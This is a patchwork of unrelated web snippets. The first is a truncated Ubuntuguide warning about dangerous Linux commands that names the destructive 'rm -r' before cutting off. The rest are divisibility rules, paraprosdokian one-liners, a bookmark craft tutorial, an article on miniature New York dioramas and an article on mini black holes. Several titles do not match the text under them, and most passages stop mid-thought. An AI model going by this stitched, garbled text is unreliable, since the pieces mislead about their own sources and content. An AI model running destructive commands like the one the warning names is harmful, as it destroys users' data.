Malicious Linux Commands - From (This article was originally published in Ubuntu Forums but was removed there. Ubuntuguide feels that knowledge about these risks is more important than any misguided attempts to "protect the public" by hiding their potential dangers or protect the (K)Ubuntu/Linux image. The original article has therefore been re-created (and subsequently edited) here.) ATTENTION: It is worthwhile to have some basic awareness about malicious commands in Linux. It is also worthwhile to always enable a Kubuntu screensaver or Ubuntu screensaver with a password so that a casual passerby is not able to maliciously execute one of these commands from your keyboard while you are away from your computer. When in doubt as to the safety of a recommended procedure or command, it is best to verify the command's function from several sources, such as from readily available documentation on Linux commands (e.g. manpages). Here are some common examples of dangerous commands that should raise a red flag. rm -r In Perl
Nerd Paradise : Divisibility Rules for Arbitrary Divisors It's rather obvious when a number is divisible by 2 or 5, and some of you probably know how to tell if a number is divisible by 3, but it is possible to figure out the division 'rule' for any number. Here are the rules for 2 through 11... The last digit is divisible by 2. The sum of all the digits in the number is divisible by 3. The last 2 digits are divisible by 4. The last digit is 5 or 0. The number is both divisible by 2 and divisible by 3. Cut the number into 2 parts: the last digit and everything else before that. The last 3 digits are divisible by 8 The sum of all the digits in the number is divisible by 9. The last digit is a 0. Break the number into two parts (like you did for the division by 7 rule). Also there is a quick way for determining divisibility by 11 for 3-digit numbers: If the inner digit is larger than the two outer digits, then it is divisible by 11 if the inner digit is the sum of the two outer digits. Rules for all divisors ending in 1... User Comments: 9 Dividing By 12
Monty Pelerin's World » Paraprosdokians An email from a friend contained the definition and a bunch of paraprosdokians. I added some from notable figures at the end, courtesy of Wikipedia: A paraprosdokian sentence consists of two parts where the first is a figure of speech and the second an intriguing variation of the first. They’re used typically for humorous or dramatic effect. * Never argue with an idiot. * Going to church doesn’t make you a Christian any more than standing in a garage makes you a car. * If I agreed with you we’d both be wrong. * We never really grow up, we only learn how to act in public. * Knowledge is knowing a tomato is a fruit; Wisdom is not putting it in a fruit salad. * The early bird might get the worm, but the second mouse gets the cheese. * How is it one careless match can start a forest fire, but it takes a whole box to start a campfire? * Dolphins are so smart that within a few weeks of captivity, they can train people to stand at the edge of a pool and throw fish.

page corner bookmarks | I Could Make That This project comes to you at the request of Twitterer @GCcapitalM. I used to believe that a person could never have too many books, or too many bookmarks. Then I moved into an apartment slightly larger than some people’s closets (and much smaller than many people’s garages) and all these beliefs got turned on their naïeve little heads. But what a person can always look for more of is really cool unique bookmarks. Page corner bookmarks are cute, practical and deeply under-represented in the world.* They’re easy to make, easy to customize, and will set you apart from all those same-same flat rectangular bookmarks. If you like this tutorial, here are a couple others that might be up your alley. If you’re loving the toothy monster vibe, check out these simple monster heating bags, filled with rice or wheat and entirely microwavable, to keep toes or fingers or tummies warm during the chilly winter months. What you’ll need: Putting it all together: 1) Follow steps 2 and 3 from above.
Metamath Home Page Life on the mini mean streets: Sculptor puts New York cityscapes under the microscope to produce incredibly detailed dioramas Updated: 06:58 GMT, 29 April 2011 New York City - with its crowded sidewalks, creeping, honking traffic jams and endless streams of awe-struck tourists - can sometimes feel a little claustrophobic. In the world created by Alan Wolfson, New York is even smaller... to a mind-blowing degree. The 62-year-old artist creates handmade miniature sculptures of Manhattan street scenes, down to the finest of detail and complete with complex interior views and lighting effects. For scale: A $1 bill lies on the pavement to show how intricate Alan Wolfson creations are. New York in a box: Peepworld shows the grotty and grubby streets of New York in the 1970s. Room with a view: A detail of Times Square Hotel Room (1982, 13in x 18in x 20in) shows not only the neon and vice of the outside world, but the lonely life of a writer Canal Street Pizza: Some of Wolfson's work is taken straight from real life and real locations. Just don't mention Gulliver's Travels.

Elderly care: similarities and solutions in Denmark and the United States. Revealed: How mini black holes pass through the Earth daily without causing any damage By Lewis Bazley Updated: 00:06 GMT, 15 May 2011 Orbit in action: Mini black holes which could pass through Earth each year may hold objects in orbit, like the electrons orbiting an atomic nucleus pictured here Science fiction fans know them as dense, sometimes inescapable objects but black holes could be closer to home than you might imagine. While deep space is littered with black holes formed by the collapse of giant stars, a miniature form could also exist – and may even be passing through the Earth on a daily basis. And unlike the larger black holes that swallow everything – even light – past a certain point, the mini black holes would instead hold objects in an orbit. According to a paper by Aaron P. In their study, the VanDevenders theorise that some theoretical mini black holes are so small that they are able to exist on Earth as well as passing through the planet without causing any damage. ‘The available power of a GEA to emit detectable radiation is small but not negligible.
